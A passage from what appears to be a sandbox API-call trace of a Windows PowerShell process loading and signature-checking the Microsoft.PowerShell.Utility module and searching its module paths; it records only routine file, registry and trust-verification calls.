lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e82c) returned 1 [0182.372] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24bf1f0 | out: lpFileInformation=0x24bf1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e828) returned 1 [0182.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e994) returned 1 [0182.373] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x298 [0182.373] GetFileType (hFile=0x298) returned 0x1 [0182.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e990) returned 1 [0182.374] GetFileType (hFile=0x298) returned 0x1 [0182.374] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x0 [0182.374] ReadFile (in: hFile=0x298, lpBuffer=0x24c0020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x24c0020*, lpNumberOfBytesRead=0x599e9fc*=0x982, lpOverlapped=0x0) returned 1 [0182.414] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x982 [0182.414] ReadFile (in: hFile=0x298, lpBuffer=0x24bf536, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x24bf536*, lpNumberOfBytesRead=0x599e9fc*=0x0, lpOverlapped=0x0) returned 1 [0182.449] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x982 [0182.450] ReadFile (in: hFile=0x298, lpBuffer=0x24c0020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x24c0020*, lpNumberOfBytesRead=0x599e9fc*=0x0, lpOverlapped=0x0) returned 1 [0182.450] CloseHandle (hObject=0x298) returned 1 [0182.452] CoCreateGuid (in: pguid=0x599eafc | out: pguid=0x599eafc*(Data1=0x4f372c0e, Data2=0x428a, Data3=0x429c, Data4=([0]=0xb7, [1]=0x79, [2]=0x62, [3]=0x2c, [4]=0x20, [5]=0x4b, [6]=0x4e, [7]=0xda))) returned 0x0 [0182.453] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x298 [0182.453] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x294 [0182.453] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x290 [0182.453] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x28c [0182.454] SetEvent (hEvent=0x28c) returned 1 [0182.454] SetEvent (hEvent=0x298) returned 1 [0182.454] SetEvent (hEvent=0x294) returned 1 [0182.454] SetEvent (hEvent=0x290) returned 1 [0182.454] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x29c [0182.454] SetThreadUILanguage (LangId=0x0) returned 0x409 [0182.749] EtwEventActivityIdControl () returned 0x0 [0182.749] EtwEventActivityIdControl () returned 0x0 [0182.749] EtwEventActivityIdControl () returned 0x0 [0182.888] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e328) returned 1 [0182.890] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599e5ec | out: lpFileInformation=0x599e5ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e324) returned 1 [0182.890] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.891] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e230, Length=0x20, ResultLength=0x599e2a0 | out: SystemInformation=0x599e230, ResultLength=0x599e2a0*=0x0) returned 0xc0000003 [0182.891] GetSystemInfo (in: lpSystemInfo=0x599e2ac | out: lpSystemInfo=0x599e2ac*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.892] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e23c | out: phkResult=0x599e23c*=0x258) returned 0x0 [0182.892] RegQueryValueExW (in: hKey=0x258, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e258, lpData=0x0, lpcbData=0x599e254*=0x0 | out: lpType=0x599e258*=0x0, lpData=0x0, lpcbData=0x599e254*=0x0) returned 0x2 [0182.893] RegCloseKey (hKey=0x258) returned 0x0 [0182.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e1b4) returned 1 [0182.893] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0182.894] GetFileType (hFile=0x258) returned 0x1 [0182.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e1b0) returned 1 [0182.894] GetFileType (hFile=0x258) returned 0x1 [0182.894] SetFilePointer (in: hFile=0x258, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e1f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e1f0*=0) returned 0x0 [0182.894] ReadFile (in: hFile=0x258, lpBuffer=0x24f5ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e21c, lpOverlapped=0x0 | out: lpBuffer=0x24f5ac0*, lpNumberOfBytesRead=0x599e21c*=0x982, lpOverlapped=0x0) returned 1 [0182.894] SetFilePointer (in: hFile=0x258, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e1f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e1f0*=0) returned 0x982 [0182.894] ReadFile (in: hFile=0x258, lpBuffer=0x24f4fd6, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x599e21c, lpOverlapped=0x0 | out: lpBuffer=0x24f4fd6*, lpNumberOfBytesRead=0x599e21c*=0x0, lpOverlapped=0x0) returned 1 [0182.895] SetFilePointer (in: hFile=0x258, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e1f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e1f0*=0) returned 0x982 [0182.895] ReadFile (in: hFile=0x258, lpBuffer=0x24f5ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e21c, lpOverlapped=0x0 | out: lpBuffer=0x24f5ac0*, lpNumberOfBytesRead=0x599e21c*=0x0, lpOverlapped=0x0) returned 1 [0182.895] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e184, Length=0x20, ResultLength=0x599e1f4 | out: SystemInformation=0x599e184, ResultLength=0x599e1f4*=0x0) returned 0xc0000003 [0182.896] GetSystemInfo (in: lpSystemInfo=0x599e200 | out: lpSystemInfo=0x599e200*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.896] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e190 | out: phkResult=0x599e190*=0x254) returned 0x0 [0182.896] RegQueryValueExW (in: hKey=0x254, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e1ac, lpData=0x0, lpcbData=0x599e1a8*=0x0 | out: lpType=0x599e1ac*=0x0, lpData=0x0, lpcbData=0x599e1a8*=0x0) returned 0x2 [0182.897] RegCloseKey (hKey=0x254) returned 0x0 [0182.897] CloseHandle (hObject=0x258) returned 1 [0182.898] CoCreateGuid (in: pguid=0x599e280 | out: pguid=0x599e280*(Data1=0x3bc93882, Data2=0x6b48, Data3=0x4b0a, Data4=([0]=0xbe, [1]=0x9b, [2]=0xc6, [3]=0x93, [4]=0xf2, [5]=0xce, [6]=0x1f, [7]=0xbd))) returned 0x0 [0182.899] QueryPerformanceCounter (in: lpPerformanceCount=0x599dfe0 | out: lpPerformanceCount=0x599dfe0*=1261392172052) returned 1 [0182.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599dccc) returned 1 [0182.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599df90 | out: lpFileInformation=0x599df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599dcc8) returned 1 [0182.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599dc60) returned 1 [0182.900] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599df24 | out: lpFileInformation=0x599df24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599dc5c) returned 1 [0182.900] CoTaskMemAlloc (cb=0x10) returned 0x37a8a8 [0182.900] CoTaskMemAlloc (cb=0x10) returned 0x37a8d8 [0182.900] CoTaskMemAlloc (cb=0xe4) returned 0x3c4318 [0182.900] CoTaskMemAlloc (cb=0x30) returned 0x3aec90 [0182.900] WinVerifyTrust () returned 0x800b0100 [0182.921] CoTaskMemFree (pv=0x37a8a8) [0182.921] CoTaskMemFree (pv=0x3aec90) [0182.922] CryptCATHandleFromStore () returned 0x370d90 [0182.922] WTHelperGetProvSignerFromChain () returned 0x0 [0182.922] CoTaskMemAlloc (cb=0x10) returned 0x37a8a8 [0182.922] CoTaskMemAlloc (cb=0x30) returned 0x3aec90 [0182.922] WinVerifyTrust () returned 0x0 [0182.922] CoTaskMemFree (pv=0x3aec90) [0182.922] CoTaskMemFree (pv=0x37a8a8) [0182.922] CoTaskMemFree (pv=0x3c4318) [0182.922] CoTaskMemFree (pv=0x37a8d8) [0183.008] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.009] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0183.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0183.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0183.010] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0183.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0183.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0183.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d71c) returned 1 [0183.028] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x599d9e0 | out: lpFileInformation=0x599d9e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d718) returned 1 [0183.029] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.029] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.029] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x599d640, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0183.032] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0183.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0183.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0183.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d524) returned 1 [0183.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x599d7e8 | out: lpFileInformation=0x599d7e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d520) returned 1 [0183.149] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.153] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0183.164] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0183.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0183.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0183.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d524) returned 1 [0183.166] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x599d7e8 | out: lpFileInformation=0x599d7e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d520) returned 1 [0183.175] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.181] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0183.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, 